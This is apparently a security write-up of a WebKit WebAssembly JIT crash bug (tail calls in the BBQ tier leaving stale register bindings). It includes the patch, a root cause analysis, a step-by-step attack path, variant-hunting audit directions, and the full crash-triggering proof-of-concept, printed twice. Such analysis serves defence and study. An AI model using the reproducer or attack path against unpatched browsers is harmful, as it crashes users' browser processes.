CVE-2025-24162
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected process crash
Researchers: linjy of HKUS3Lab and chluo of WHUSecLab
Key insight. A tail call ends the frame permanently, so BBQ must drain (consume) the entire expression stack at that point; failing to release those register/slot bindings before the mandatory validation of the following unreachable code desynchronizes the allocator and crashes the JIT.
Patch Details
diff --git a/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js b/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js
new file mode 100644
index 000000000000..4a9d69e84d72
--- /dev/null
+++ b/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js
@@ -0,0 +1,151 @@
+/*
+(module
+ (tag $nonzero (param))
+ (tag $zero (param))
+
+ (type $i32-i32 (func (param i32) (result i32)))
+ (table $countdown-table funcref (elem $countdown-indirect))
+
+ (func $countdown (param i32) (result i32) (local f32)
+ f32.const 42
+ local.set 1
+
+ try
+ local.get 0
+ i32.const 0
+ i32.eq
+ if
+ throw $zero
+ else
+ throw $nonzero
+ end
+ catch $nonzero
+ local.get 0
+ local.get 0
+ i32.add
+
+ local.get 0
+ i32.const 1
+ i32.sub
+ return_call $countdown
+ catch_all
+ end
+
+ f32.const 0
+ local.get 1
+ f32.add
+ i32.trunc_f32_u
+ )
+
+ (func $countdown-indirect (param i32) (result i32) (local f32)
+ f32.const 42
+ local.set 1
+
+ try
+ local.get 0
+ i32.const 0
+ i32.eq
+ if
+ throw $zero
+ else
+ throw $nonzero
+ end
+ catch $nonzero
+ local.get 0
+ local.get 0
+ i32.add
+
+ local.get 0
+ i32.const 1
+ i32.sub
+ i32.const 0
+ return_call_indirect $countdown-table (type $i32-i32)
+ catch_all
+ end
+
+ f32.const 0
+ local.get 1
+ f32.add
+ i32.trunc_f32_u
+ )
+
+ (func $countdown-ref (param i32) (result i32) (local f32)
+ f32.const 42
+ local.set 1
+
+ try
+ local.get 0
+ i32.const 0
+ i32.eq
+ if
+ throw $zero
+ else
+ throw $nonzero
+ end
+ catch $nonzero
+ local.get 0
+ local.get 0
+ i32.add
+
+ local.get 0
+ i32.const 1
+ i32.sub
+ ref.func $countdown-ref
+ return_call_ref $i32-i32
+ catch_all
+ end
+
+ f32.const 0
+ local.get 1
+ f32.add
+ i32.trunc_f32_u
+ )
+
+ (func (export "main")
+ block
+ block
+ i32.const 100000
+ call $countdown
+ i32.const 42
+ i32.eq
+ br_if 0
+ unreachable
+ end
+ i32.const 100000
+ call $countdown-indirect
+ i32.const 42
+ i32.eq
+ br_if 0
+ unreachable
+ end
+ i32.const 100000
+ call $countdown-ref
+ i32.const 42
+ i32.eq
+ br_if 0
+ unreachable
+ )
+)
+*/
+
+var code = new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x00, 0x00,
+ 0x03, 0x05, 0x04, 0x00, 0x00, 0x00, 0x01, 0x04, 0x05, 0x01, 0x70, 0x01, 0x01, 0x01, 0x0d, 0x05, 0x02, 0x00, 0x01,
+ 0x00, 0x01, 0x07, 0x08, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x03, 0x09, 0x0b, 0x02, 0x00, 0x41, 0x00, 0x0b,
+ 0x01, 0x01, 0x03, 0x00, 0x01, 0x02, 0x0a, 0xdb, 0x01, 0x04, 0x36, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42,
+ 0x21, 0x01, 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07,
+ 0x00, 0x20, 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0x12, 0x00, 0x19, 0x01, 0x0b, 0x43, 0x00,
+ 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x39, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42, 0x21, 0x01,
+ 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07, 0x00, 0x20,
+ 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0x41, 0x00, 0x13, 0x00, 0x00, 0x19, 0x01, 0x0b, 0x43,
+ 0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x38, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42, 0x21,
+ 0x01, 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07, 0x00,
+ 0x20, 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0xd2, 0x02, 0x15, 0x00, 0x19, 0x01, 0x0b, 0x43,
+ 0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x2f, 0x00, 0x02, 0x40, 0x02, 0x40, 0x02, 0x40, 0x41, 0xa0,
+ 0x8d, 0x06, 0x10, 0x00, 0x41, 0x2a, 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x41, 0xa0, 0x8d, 0x06, 0x10, 0x01, 0x41, 0x2a,
+ 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x41, 0xa0, 0x8d, 0x06, 0x10, 0x02, 0x41, 0x2a, 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x0b
+]);
+
+var module = new WebAssembly.Module(code);
+var instance = new WebAssembly.Instance(module);
+instance.exports.main()
diff --git a/Source/JavaScriptCore/wasm/WasmBBQJIT.cpp b/Source/JavaScriptCore/wasm/WasmBBQJIT.cpp
index 7eaa5e9f9bfe..4b90d6952797 100644
--- a/Source/JavaScriptCore/wasm/WasmBBQJIT.cpp
+++ b/Source/JavaScriptCore/wasm/WasmBBQJIT.cpp
@@ -4092,7 +4092,6 @@ void BBQJIT::emitTailCall(unsigned functionIndex, const TypeDefinition& signatur
else
resolvedArguments.append(Value::pinned(arguments[i].type(), locationOf(arguments[i])));
- // This isn't really needed but it's nice to have good book keeping.
consume(arguments[i]);
}
@@ -4146,6 +4145,13 @@ void BBQJIT::emitTailCall(unsigned functionIndex, const TypeDefinition& signatur
}
LOG_INSTRUCTION("ReturnCall", functionIndex, arguments);
+
+ // Because we're returning, we need to consume all elements of the
+ // expression stack here so they don't spuriously hold onto their bindings
+ // in the subsequent unreachable code.
+
+ for (const auto& value : m_parser->expressionStack())
+ consume(value);
}
@@ -4338,6 +4344,13 @@ void BBQJIT::emitIndirectTailCall(const char* opcode, const Value& callee, GPRRe
m_jit.farJump(calleeCode, WasmEntryPtrTag);
LOG_INSTRUCTION(opcode, callee, arguments);
+
+ // Because we're returning, we need to consume all elements of the
+ // expression stack here so they don't spuriously hold onto their bindings
+ // in the subsequent unreachable code.
+
+ for (const auto& value : m_parser->expressionStack())
+ consume(value);
}
void BBQJIT::addRTTSlowPathJump(TypeIndex signature, GPRReg calleeRTT)
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2025-24162 |
| Bugzilla | 284159 |
| Component | WebKit |
| Bug Class | LogicError |
| Severity | medium |
| Commit | ca83d835b014f07f… |
| Advisory | Apple Advisory |
Terminology
- BBQ JIT — JavaScriptCore’s fast baseline WebAssembly compiler (‘Build Bytecode Quickly’) that generates machine code in a single pass while tracking each Wasm stack value’s storage location.
- Tail call (return_call)* — WebAssembly instructions that transfer control to a callee reusing the current frame and never return, so all bytecode after them in the same function is unreachable.
- Value binding / consume — In BBQ each stack Value owns a concrete register or stack slot; consume() releases that binding back to the register allocator when the value’s lifetime ends.
- Expression stack — The parser/validator’s model of the current operand stack; BBQ mirrors it with allocator bindings that must stay consistent with the machine state.
- Unreachable code — Instructions after an unconditional control transfer that can never execute but must still be validated (and are still walked by BBQ), where stale allocator state manifests as a crash.
Root Cause Analysis
The bug is in JavaScriptCore’s BBQ (Build Bytecode Quickly) tier of the WebAssembly JIT, specifically in BBQJIT::emitTailCall and BBQJIT::emitIndirectTailCall in Source/JavaScriptCore/wasm/WasmBBQJIT.cpp. In BBQ, every WebAssembly stack value is a Value object that owns a ‘binding’ to a concrete storage location (a specific GPR/FPR register or a stack slot), and the register allocator tracks those bindings; a value must be ‘consumed’ when its lifetime ends so its register/slot is released back to the allocator. A return_call / return_call_indirect / return_call_ref is a tail call: control never returns to the current frame, so all bytecode that textually follows it is unreachable. Before this patch, emitTailCall/emitIndirectTailCall emitted the far jump to the callee but did NOT consume the remaining entries of the parser’s expression stack (m_parser->expressionStack()). Those left-over Values kept their register/slot bindings alive across the tail call into the following unreachable region. When the validator/parser then processes that unreachable code (which WebAssembly still requires to be type-checked and which BBQ still walks), the stale bindings desynchronize the register allocator’s accounting from the actual expression-stack state, tripping a consistency assertion / RELEASE_ASSERT and crashing the process. The invariant violated is: at the point control leaves a frame for good, no expression-stack value may still hold a live binding into that frame’s register/slot file. The fix restores the invariant by iterating m_parser->expressionStack() after emitting the tail-call jump and calling consume(value) on every element, releasing all bindings so the subsequent unreachable code starts from a clean allocator state. The provided reproducer exercises exactly this: return_call, return_call_indirect and return_call_ref are each placed inside a catch handler where the expression stack still carries partially-computed values (an i32.add result plus a live f32 local), so entries remain on the expression stack at the tail-call site. The removed one-line comment (‘This isn’t really needed but it’s nice to have good book keeping’) on the pre-existing per-argument consume shows the author reasoning explicitly about consume/book-keeping while adding the missing full-stack drain.
Attack Path
1. Deliver a crafted Wasm module
Serve a web page that instantiates a small WebAssembly module via WebAssembly.Module/Instance, as the reproducer does with a hand-built Uint8Array of bytecode.
2. Arrange a non-empty expression stack at a tail call
Author functions that reach a return_call / return_call_indirect / return_call_ref while extra operands remain on the value stack — e.g. inside a catch handler after computing i32.add and keeping a live local, so the stack is not drained before the tail call.
3. Force BBQ compilation
Repeatedly invoke the exported ‘main’ (the reproducer counts down from 100000) so the tier-up path compiles the functions with the BBQ JIT rather than only the interpreter.
4. Trigger the desync
During BBQ codegen the tail-call site leaves stale register/slot bindings on the remaining expression-stack values; processing the following unreachable code hits a register-allocator consistency assertion.
5. Crash the WebContent process
The assertion/RELEASE_ASSERT aborts the process, producing the denial-of-service (unexpected process crash) described by the CVE.
Impact Assessment
The primitive is a consistency-assertion abort (register-allocator book-keeping desync), not a demonstrated memory-corruption write, so the realistic outcome is a controlled crash / denial of service rather than a path to RCE. It is confined to the WebContent (renderer) process where the Wasm JIT runs, inside the WebContent sandbox. Escalation potential is low: the diff shows only that bindings outlive their frame, which trips an internal invariant check; there is no evidence in the patch of attacker-controlled OOB read/write from this state. Standard exploitation background (heap grooming, corrupting adjacent objects to reach ACE) does not apply to what this commit establishes — it is a bookkeeping/DoS fix.
Audit Directions
Other terminal control ops in BBQ
In WasmBBQJIT.cpp audit every place that ends a frame or block with unreachable code following it — grep for ‘unreachable’, ‘farJump’, ‘return’, ’emit*Return’, ’emitTailCall’ — and verify each drains m_parser->expressionStack() with consume() rather than only consuming its own arguments.
consume() coverage vs expressionStack()
Grep BBQ for uses of ‘consume(’ and cross-check against ’m_parser->expressionStack()’ to find code paths that leave stack Values un-consumed at points where the allocator state must be reset.
Parallel bug in the OMG/Air tier
Check WasmOMGIRGenerator.cpp / the OMG tail-call emitters for the analogous requirement to release stack values or SP/registers at return_call sites; tail-call stack handling was a recurring 2025 defect class (see CVE-2025-43212).
return_call_ref and funcref paths
Focus on the newer return_call_ref / typed funcref tail-call handlers across tiers, since they are less exercised; look for tail-call helpers that emit a jump but omit a full expression-stack drain.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
BBQJIT::emitTailCall |
Source/JavaScriptCore/wasm/WasmBBQJIT.cpp |
modified | After emitting the tail-call jump, added a loop over m_parser->expressionStack() calling consume(value) so no expression-stack value retains a live register/slot binding into the following unreachable code; also removed a stale comment on the per-argument consume. |
BBQJIT::emitIndirectTailCall |
Source/JavaScriptCore/wasm/WasmBBQJIT.cpp |
modified | Same fix applied for return_call_indirect / return_call_ref: after the farJump, consume every remaining expression-stack value to release bindings before unreachable code is processed. |
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js b/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js
new file mode 100644
index 000000000000..4a9d69e84d72
--- /dev/null
+++ b/JSTests/wasm/stress/tail-call-should-consume-stack-in-bbq.js
@@ -0,0 +1,151 @@
+/*
+(module
+ (tag $nonzero (param))
+ (tag $zero (param))
+
+ (type $i32-i32 (func (param i32) (result i32)))
+ (table $countdown-table funcref (elem $countdown-indirect))
+
+ (func $countdown (param i32) (result i32) (local f32)
+ f32.const 42
+ local.set 1
+
+ try
+ local.get 0
+ i32.const 0
+ i32.eq
+ if
+ throw $zero
+ else
+ throw $nonzero
+ end
+ catch $nonzero
+ local.get 0
+ local.get 0
+ i32.add
+
+ local.get 0
+ i32.const 1
+ i32.sub
+ return_call $countdown
+ catch_all
+ end
+
+ f32.const 0
+ local.get 1
+ f32.add
+ i32.trunc_f32_u
+ )
+
+ (func $countdown-indirect (param i32) (result i32) (local f32)
+ f32.const 42
+ local.set 1
+
+ try
+ local.get 0
+ i32.const 0
+ i32.eq
+ if
+ throw $zero
+ else
+ throw $nonzero
+ end
+ catch $nonzero
+ local.get 0
+ local.get 0
+ i32.add
+
+ local.get 0
+ i32.const 1
+ i32.sub
+ i32.const 0
+ return_call_indirect $countdown-table (type $i32-i32)
+ catch_all
+ end
+
+ f32.const 0
+ local.get 1
+ f32.add
+ i32.trunc_f32_u
+ )
+
+ (func $countdown-ref (param i32) (result i32) (local f32)
+ f32.const 42
+ local.set 1
+
+ try
+ local.get 0
+ i32.const 0
+ i32.eq
+ if
+ throw $zero
+ else
+ throw $nonzero
+ end
+ catch $nonzero
+ local.get 0
+ local.get 0
+ i32.add
+
+ local.get 0
+ i32.const 1
+ i32.sub
+ ref.func $countdown-ref
+ return_call_ref $i32-i32
+ catch_all
+ end
+
+ f32.const 0
+ local.get 1
+ f32.add
+ i32.trunc_f32_u
+ )
+
+ (func (export "main")
+ block
+ block
+ i32.const 100000
+ call $countdown
+ i32.const 42
+ i32.eq
+ br_if 0
+ unreachable
+ end
+ i32.const 100000
+ call $countdown-indirect
+ i32.const 42
+ i32.eq
+ br_if 0
+ unreachable
+ end
+ i32.const 100000
+ call $countdown-ref
+ i32.const 42
+ i32.eq
+ br_if 0
+ unreachable
+ )
+)
+*/
+
+var code = new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x00, 0x00,
+ 0x03, 0x05, 0x04, 0x00, 0x00, 0x00, 0x01, 0x04, 0x05, 0x01, 0x70, 0x01, 0x01, 0x01, 0x0d, 0x05, 0x02, 0x00, 0x01,
+ 0x00, 0x01, 0x07, 0x08, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x03, 0x09, 0x0b, 0x02, 0x00, 0x41, 0x00, 0x0b,
+ 0x01, 0x01, 0x03, 0x00, 0x01, 0x02, 0x0a, 0xdb, 0x01, 0x04, 0x36, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42,
+ 0x21, 0x01, 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07,
+ 0x00, 0x20, 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0x12, 0x00, 0x19, 0x01, 0x0b, 0x43, 0x00,
+ 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x39, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42, 0x21, 0x01,
+ 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07, 0x00, 0x20,
+ 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0x41, 0x00, 0x13, 0x00, 0x00, 0x19, 0x01, 0x0b, 0x43,
+ 0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x38, 0x01, 0x01, 0x7d, 0x43, 0x00, 0x00, 0x28, 0x42, 0x21,
+ 0x01, 0x06, 0x40, 0x20, 0x00, 0x41, 0x00, 0x46, 0x04, 0x40, 0x08, 0x01, 0x05, 0x08, 0x00, 0x0b, 0x00, 0x07, 0x00,
+ 0x20, 0x00, 0x20, 0x00, 0x6a, 0x1a, 0x20, 0x00, 0x41, 0x01, 0x6b, 0xd2, 0x02, 0x15, 0x00, 0x19, 0x01, 0x0b, 0x43,
+ 0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x92, 0xa9, 0x0b, 0x2f, 0x00, 0x02, 0x40, 0x02, 0x40, 0x02, 0x40, 0x41, 0xa0,
+ 0x8d, 0x06, 0x10, 0x00, 0x41, 0x2a, 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x41, 0xa0, 0x8d, 0x06, 0x10, 0x01, 0x41, 0x2a,
+ 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x41, 0xa0, 0x8d, 0x06, 0x10, 0x02, 0x41, 0x2a, 0x46, 0x0d, 0x00, 0x00, 0x0b, 0x0b
+]);
+
+var module = new WebAssembly.Module(code);
+var instance = new WebAssembly.Instance(module);
+instance.exports.main()